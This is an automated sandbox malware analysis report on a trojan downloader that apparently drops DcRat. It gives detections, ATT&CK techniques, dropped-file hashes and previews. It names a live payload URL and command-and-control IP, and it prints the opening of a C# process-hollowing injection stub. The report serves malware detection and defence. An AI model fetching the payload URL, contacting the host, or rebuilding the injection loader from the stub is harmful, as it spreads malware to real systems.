Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match	File source: 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5036, type: MEMORYSTR

Remote Access Functionality

Yara detected DcRat

Source: Yara match	File source: 00000004.00000002.2388462794.000000000300F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5036, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Screen Capture	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	13 System Information Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	32%	Virustotal		Browse
SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	36%	ReversingLabs	Win32.Trojan.Mardom
SAMPLE	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll	100%	Avira	TR/Dropper.Gen7

Source	Detection	Scanner	Label
http://77.223.118F	0%	Avira URL Cloud	safe
http://77.223.119.85	0%	Avira URL Cloud	safe
http://77.223.119.85/tb.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
pki-goog.l.google.com	64.233.185.94	true	false	high
c.pki.goog	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://c.pki.goog/r/gsr1.crl	false		high
http://c.pki.goog/r/r4.crl	false		high
http://77.223.119.85/tb.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://77.223.119.85	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.000000000326F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.0000000003231000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.223.118F	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.00000000032A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.000000000326F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe, 00000000.00000002.1176486641.0000000003231000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002D21000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2388462794.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.223.119.85	unknown	Russian Federation		51604	EKAT-ASRU	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1663865
Start date and time:	2025-04-12 19:34:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@8/9@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 23 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 23.76.34.6, 104.94.127.7, 172.202.163.200, 13.85.23.206, 20.12.23.50, 20.3.187.198, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:35:17	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe modified
13:35:20	API Interceptor	2x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.223.119.85	GSRuGK48Ex.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	77.223.119.85/tb.exe
	rxm.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	77.223.119.85/tb.exe
	fHVxtGnuGj.ps1	Get hash	malicious	Unknown	Browse	77.223.119.85/cmd.bat
	FShgmBmoSU.ps1	Get hash	malicious	Unknown	Browse	77.223.119.85/wpl.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pki-goog.l.google.com	2zb8yjqduP.dll	Get hash	malicious	Unknown	Browse	74.125.21.94
	GSRuGK48Ex.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	142.250.9.94
	rxm.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	142.251.15.94
	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	74.125.21.94
	67f525209658e.vbs	Get hash	malicious	LummaC Stealer	Browse	108.177.122.94
	IMSoftware{Launcher}3.21.exe	Get hash	malicious	LummaC Stealer	Browse	142.251.15.94
	SoftWare(2).exe	Get hash	malicious	LummaC Stealer	Browse	74.125.21.94
	SoftWare(1).exe	Get hash	malicious	LummaC Stealer	Browse	74.125.21.94
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	173.194.219.94
	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	142.250.9.94
bg.microsoft.map.fastly.net	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.210.172
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.210.172
	jre-8u441-windows-x64.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	jre-8u441-windows-x64.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	AxgHj313r7.exe	Get hash	malicious	Rhysida, TrojanRansom	Browse	199.232.210.172
	Dd73LmElYt.ppt	Get hash	malicious	Unknown	Browse	199.232.214.172
	Dd73LmElYt.ppt	Get hash	malicious	Unknown	Browse	199.232.210.172
	GSRuGK48Ex.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	rxm.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	tb.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
EKAT-ASRU	GSRuGK48Ex.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	77.223.119.85
	rxm.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	77.223.119.85
	tb.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	77.223.119.85
	fHVxtGnuGj.ps1	Get hash	malicious	Unknown	Browse	77.223.119.85
	FShgmBmoSU.ps1	Get hash	malicious	Unknown	Browse	77.223.119.85
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	5.167.247.165
	https://aoocezieaoocezie.myfreshworks.com/invite/dc31162a-1c0b-4de0-9bee-658f89e887a0	Get hash	malicious	HTMLPhisher	Browse	77.223.124.18
	Nyx4r.mpsl.elf	Get hash	malicious	Okiru	Browse	5.166.58.47
	spc.elf	Get hash	malicious	Mirai	Browse	5.166.34.33
	nabarm5.elf	Get hash	malicious	Unknown	Browse	109.195.98.202

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	RE_0078234567965441.pdf.wsf	Get hash	malicious	Koadic	Browse	204.79.197.222
	http://goodformen.co	Get hash	malicious	Unknown	Browse	204.79.197.222
	IMSoftware{Launcher}3.21.exe	Get hash	malicious	LummaC Stealer	Browse	204.79.197.222
	https://www.canva.com/design/DAGkPkwDgSg/u9VDlBP5gFpCWakWq8SpPQ/view?utm_content=DAGkPkwDgSg&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=hc42c7e8522	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	204.79.197.222
	SecuriteInfo.com.Win32.MalwareX-gen.29703.7480.exe	Get hash	malicious	Unknown	Browse	204.79.197.222
	SecuriteInfo.com.Win32.MalwareX-gen.26952.14499.exe	Get hash	malicious	Unknown	Browse	204.79.197.222
	Aspen Landscaping Project.pdf.svg	Get hash	malicious	HTMLPhisher	Browse	204.79.197.222
	http://url7554.impulseup.com/ls/click?upn=u001.9-2FTADgI74e2OWE2P3fvtm3ks0lxIlIFyP5IwbLoDgBuxxxaTOIUzJMW49-2B9jqW6yELBC1ZQRMe6TWLgjPYTu0LiDQ0w3txTcOK6-2FV2ifPZbRaLIwmmOQ1GMQC9dU6RWb2aeLLtDeODHngY3VjjXvJO6oKDlYY-2FrsIGLii2s3kEKAZFDtf-2BL31aMPuCVwlwPCr7PEQRptcwz1QBhdaSd2LGMdK1VJSRTe40dM32Z7Jz2jBBbK0UwZYo0lLPRxihoyt5eczvkRV2tuefWun26R7i639CvHIPVt6rH7EVtY4Yq4-2BX81bSKNRYMont-2BURzxOXvIrvc-2FmXDxBQFquNv8hCg-3D-3DyDrr_naDZr6e6Tex7WwaKSXKSqq5INCcbCIdoxaaj2wbq7gjxBRbem7BEPIfWnVuAg3Bx1Fhri61H6wFbqCRaRuLXkT18hZCnXSGoRllL0C7rOtB91UeOJXduRfzcRPgDbBSd4X3uGtLfJirZl0ROKoAxqfXL7L4ToaeE6JzoQeI9uGX5kpoV7VcnaOLTWFbow5cQRwEdNeJ6VY-2B-2FtfbcKyooiw-3D-3D	Get hash	malicious	HTMLPhisher	Browse	204.79.197.222
	https://review-bid-proposal-invitation-6987b4.webflow.io/	Get hash	malicious	Unknown	Browse	204.79.197.222
	http://tvstream.live	Get hash	malicious	Unknown	Browse	204.79.197.222

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:	1536:krha8mqJ7v3CeFMz/akys7nSTK7QMuK+C/Oh5:kAOFq+Mba9Ok7C/O/
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.2761979882874246
Encrypted:	false
SSDEEP:	6:kK/aImcQRnSN+SkQlPlEGYRMY9z+4KlDA3RUeqpGVuys1:aImfZkPlE99SNxAhUeq8S
MD5:	A48776126BF3805BEC5C355C11462A16
SHA1:	FC607A068DEA7C8CA582718937F15B1AACC925F5
SHA-256:	EDF60C9617FD4E223D9FAF0E0BCFA570882D3C1732FE8AE62A70159ACEA7F62E
SHA-512:	516EE5BB5D7A526C89960CD793881B067B4D9EC25EF4B710EB1D46FCC3E8E9C1D90B45C47FAF9175546A63B928E8B6835ED1E7932DF842E64A13AB25B27D8B8A
Malicious:	false
Reputation:	low
Preview:	p...... ..........uC...(....................................................... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.log

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.0.cs

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	9122
Entropy (8bit):	4.613031027327575
Encrypted:	false
SSDEEP:	96:JO1vYGpHKU5fZBDeXWuaLN0lWeCAaEjcqQDJ7iiLYkhxdP7NFa/COAoTOyt13IPw:AaGu7vpcfDFfckhxdP7NA/CxoSytSPf4
MD5:	58B10EF6BA0DA88788F1AAC56CE7E2DB
SHA1:	48221936B98AAC14EAD7C4589513D074365414EC
SHA-256:	AE11144F426028E50E77D64A66AEB954E169F627F8ABFE403791032594834520
SHA-512:	19C28B5AF8E4243350EE13C423FD066CEF969A5C86DE5F7B2AC4E4FBF75FDA17E82A6A91FBD6034786B9BEEE77E2EB4B1CECD1CF0B901E2874B88DA3E338845E
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.using System.Diagnostics;..using System.Runtime.InteropServices;..using System;....namespace Stub..{.. public static class Look.. {.. #region API delegate.. private delegate int ResumeThreadHandler(IntPtr handle);.. private delegate bool SetWowThreadContextHandler(IntPtr thread, int[] context);.. private delegate bool SetThreadContextHandler(IntPtr thread, int[] context);.. private delegate bool GetWowThreadContextHandler(IntPtr thread, int[] context);.. private delegate bool GetThreadContextHandler(IntPtr thread, int[] context);.. private delegate int VirtualAllocExHandler(IntPtr handle, int address, int length, int type, int protect);.. private delegate bool WriteMemoryHandler(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);.. private delegate bool ReadMemoryHandler(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);.. private delegate

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	204
Entropy (8bit):	4.977468652770924
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2wkn23f8hC0zxszIwkn23f8hgn:p37L/6KRfU7QfUWn
MD5:	46E9B619907978B2451C9AC7E6CA8833
SHA1:	82D25E30FF35824F64A478AD368A05882C0582F4
SHA-256:	9B16233109CF75DEA379FA2A416FABABF03160D8496B84B1C461912996CBECBF
SHA-512:	F6BE4EE69947DB24A067684FCA03177A1B133048B95BD366E2CF13131E655F8CA0BCCC7FBF0333A171D4C9F7DD4D71A3BD7A9382AF6A25376509BBA550F2A91A
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.0.cs"

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.524290500803184
Encrypted:	false
SSDEEP:	192:PxhVsIlJlHlHlHlHldlglfbflnldICNuBaZMg5MqkexP:51lJlHlHlHlHldlglfbflnlDABK5MqHN
MD5:	664C3682494BFE8492DBCA8D5D998CFE
SHA1:	716200A2F7DA84790E794A5049032411F15A2E88
SHA-256:	4FF8AE4C384A6E8E0038309B05A6A02D89A66414769A62B1FA11EB8380AAC054
SHA-512:	7795ED9913E55BF113BF7D50A7B6B1F5DB2D805AFAABAFD4D4525D112FAFA932F2386D94D51AEF859051891C3C48289AC8733B86D43590A44B5F14D1263672C4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................8... ...@....... ....................................@..................................8..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`....... ..............@..B.................8......H........$...............................................................0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.............0............8.............................(....(....(....}....~.....~....~....~..... ....~.........o,...-.s....z..<(..........4X(...... .............. .....(.....3.~......{......o....-!s....z~......{......o....-.s....z...)......~......{.......X..

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.out

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	702
Entropy (8bit):	5.222805864311501
Encrypted:	false
SSDEEP:	12:KJN/qR37L/6KRfU7QfUWuKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBqdn6KRfPfMKax5DqBVKVrdFAMBJTH
MD5:	EC635EE3019D4C9FBEB91A046E606D8E
SHA1:	B7E98EE5C27C204A9FE525D6103C6EB3F0927236
SHA-256:	FB83C015E708089F409A12D2F29B8388D40B88CEC24B25CCCF3530CEE9EECF9F
SHA-512:	1569631A9265F33AFD6A377460C9B0C3A33F3DFB5555B7630159FA85DE536DE69F5183181087B490AF868909BD3E250E64577C18F80C7F7710C4BB1354A7EAF3
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0872114866851375
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryefak7YnqqbYPN5Dlq5J:+RI+ycuZhNAfakSbYPNnqX
MD5:	0ABB82EB267B06C6353191EC5757A13E
SHA1:	49BB1AD0D630567BDA75B002E7CDD28C700DBCCC
SHA-256:	F6438515945890864B4EC0838324EA525D858B6A61AE725BF645538459BC5C60
SHA-512:	487A8405E337E33BA73CB68B3DF3A92469F1E44C85490D140C4805FB7F36608F3F91BA9A64C8E44D03FEE862F82F5E8B794C6678045FEFB46C011E36CA2F907B
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.d.l.j.n.c.s.i...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.d.l.j.n.c.s.i...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES8956.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Sat Apr 12 19:31:52 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9777127892340025
Encrypted:	false
SSDEEP:	24:HSe9EuZfCgb5XDfHdPwKEbsmfII+ycuZhNAfakSbYPNnqSqd:vBZ5z9YKPmg1ulwa3MqSK
MD5:	0FCB25D21D34FBE93158BBEB6911DE4F
SHA1:	863568A0BC81A0ACA5CF9B843DBF8FCA70D041C8
SHA-256:	02F93ADF1A666A9EEF442456460FD5F5A7C3040DB15C47B0B9369734CE955D8C
SHA-512:	2C45E4AC0D9798CAB1D538D4B83BEFE18D9FDB5C17CE19878CB5E338B0ACEC97301419FB799A14DC5F3F787077452DC8A6570A010C2F95F4556FF86BE443B212
Malicious:	false
